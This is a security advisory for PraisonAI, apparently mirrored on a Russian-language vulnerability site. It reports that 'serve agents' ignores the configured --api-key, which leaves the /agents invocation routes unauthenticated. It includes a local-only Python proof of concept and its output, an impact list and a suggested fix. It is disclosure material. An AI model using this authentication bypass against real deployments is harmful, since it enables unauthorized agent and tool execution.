Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-7ww9-85pg-cv4x

Опубликовано: 25 авг. 2026
Источник: github
Github: Прошло ревью
CVSS3: 8.6

Описание

PraisonAI serve agents --api-key is ignored, allowing unauthenticated remote agent execution

Summary

PraisonAI's praisonai serve agents command exposes --api-key as the documented authentication control for production/external deployments, but the configured key is not enforced on the public agent invocation compatibility endpoints.

An operator can start the server with --api-key and bind it to 0.0.0.0, but any network- reachable caller can still invoke agents through POST /agents or POST /agents/ {agent_name} without Authorization, X-API-Key, a query token, or any other credential.

Confirmed vulnerable:

  • v4.6.48 / commit d5f1114aaf1a2e9f121a6e66b929149ca2201f1d
  • v4.6.34 / commit e5928449f73f66cc8af1de61621aa974ab255133

Likely affected range: >= 4.6.34, <= 4.6.48.

This is distinct from CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj, which covered the legacy Flask api_server.py path before 4.6.34. This report concerns the newer FastAPI serve agents --api-key code path and is confirmed in v4.6.48.

Details

The CLI accepts and forwards an API key:

  • src/praisonai/praisonai/cli/commands/serve.py:156 defines praisonai serve agents
  • src/praisonai/praisonai/cli/commands/serve.py:162 exposes --api-key
  • src/praisonai/praisonai/cli/commands/serve.py:175-176 forwards the supplied key
  • src/praisonai/praisonai/cli/features/serve.py:191 handles the agents subcommand
  • src/praisonai/praisonai/cli/features/serve.py:199 parses api_key into the config

However, _create_agents_app() never uses config["api_key"] to create middleware or a FastAPI auth dependency:

  • src/praisonai/praisonai/cli/features/serve.py:228 creates the FastAPI app
  • src/praisonai/praisonai/cli/features/serve.py:287 registers POST {path} with no auth dependency
  • src/praisonai/praisonai/cli/features/serve.py:346 registers POST /agents/{agent_name} with no auth dependency
  • src/praisonai/praisonai/cli/features/serve.py:356-370 executes the registered agent directly

The same app also mounts praisonai.api.agent_invoke, whose /api/v1/agents/{agent_id}/ invoke route is protected separately by CALL_SERVER_TOKEN. That means the protected / api/v1 route and the unauthenticated /agents compatibility routes coexist in the same server. Setting --api-key does not protect the compatibility routes.

PoC

This local-only PoC does not open a network listener and does not call an LLM provider. It constructs the FastAPI app through the real ServeHandler._create_agents_app() path with api_key set, registers a fake agent, and sends an unauthenticated request using FastAPI TestClient.

#!/usr/bin/env python3 from __future__ import annotations import sys import tempfile from pathlib import Path REPO = Path("/path/to/PraisonAI") sys.path[:0] = [ str(REPO / "src" / "praisonai"), str(REPO / "src" / "praisonai-agents"), ] class FakeAgent: def __init__(self): self.calls = [] def start(self, query): self.calls.append(query) return f"fake-agent-ran:{query}" def main() -> None: from fastapi.testclient import TestClient from praisonai.cli.features.serve import ServeHandler from praisonai.api import agent_invoke with tempfile.TemporaryDirectory() as tmp: agents_yaml = Path(tmp) / "agents.yaml" agents_yaml.write_text( "roles:\n" " placeholder:\n" " role: Placeholder\n" " goal: Placeholder\n" " backstory: Placeholder\n", encoding="utf-8", ) handler = ServeHandler() app = handler._create_agents_app( { "file": str(agents_yaml), "host": "0.0.0.0", "port": 8000, "path": "/agents", "reload": False, "api_key": "operator-secret-api-key", } ) fake_agent = FakeAgent() agent_invoke.register_agent("poc", fake_agent) client = TestClient(app) response = client.post( "/agents/poc", json={"query": "unauthenticated request"}, ) print(f"STATUS_CODE={response.status_code}") print(f"RESPONSE_JSON={response.json()!r}") print(f"AGENT_CALLS={fake_agent.calls!r}") print(f"UNAUTHENTICATED_AGENT_EXECUTED={fake_agent.calls == ['unauthenticated request']}") if __name__ == "__main__": main() Run: cd /path/to/PraisonAI python3 praisonai-serve-agents-api-key-bypass.py Observed output: STATUS_CODE=200 RESPONSE_JSON={'response': 'fake-agent-ran:unauthenticated request'} AGENT_CALLS=['unauthenticated request'] UNAUTHENTICATED_AGENT_EXECUTED=True The important condition is that the app was configured with: "api_key": "operator-secret-api-key" but the request was sent without any auth header: client.post("/agents/poc", json={"query": "unauthenticated request"}) The agent still executed and returned HTTP 200. ### Impact Any attacker who can reach a praisonai serve agents server can invoke configured agents even when the operator explicitly configured --api-key. Impact depends on the configured agents and their tools, but can include: - unauthorized LLM/API usage and provider cost consumption; - execution of agent workflows; - access to connected tool integrations; - reads/writes through file, database, cloud, browser, MCP, or messaging tools; - availability impact from repeated or long-running agent invocations. This is especially risky because the documented production pattern recommends using --api- key when binding the server publicly. ### Suggested fix Fail closed when --api-key is configured and require it on every agent invocation route in the serve agents app. Recommended changes: - In _create_agents_app(), derive an auth dependency from config.get("api_key"). - Apply it to both POST {path} and POST /agents/{agent_name}. - Prefer Authorization: Bearer <api_key>. Optionally also support X-API-Key for compatibility. - Use constant-time comparison for the expected key. - Clarify or unify the relationship between --api-key and CALL_SERVER_TOKEN. - Add tests proving: - key configured + no header returns 401/403; - key configured + wrong header returns 401/403; - key configured + correct header executes; - both /agents and /agents/{agent_name} are covered.

Пакеты

Наименование

PraisonAI

pip
Затронутые версииВерсия исправления

>= 4.6.34, < 4.6.58

4.6.58

EPSS

Процентиль: 17%
0.00252
Низкий

8.6 High

CVSS3

Дефекты

CWE-306

Связанные уязвимости

CVSS3: 8.6
nvd
22 дня назад

PraisonAI is a multi-agent teams system. From praisonai 4.6.34 until 4.6.58, praisonai serve agents accepts --api-key but _create_agents_app() does not authenticate POST /agents or POST /agents/{agent_name}. A network caller can invoke configured agents without credentials even when an API key was supplied. This issue is fixed in version 4.6.58.

EPSS

Процентиль: 17%
0.00252
Низкий

8.6 High

CVSS3

Дефекты

CWE-306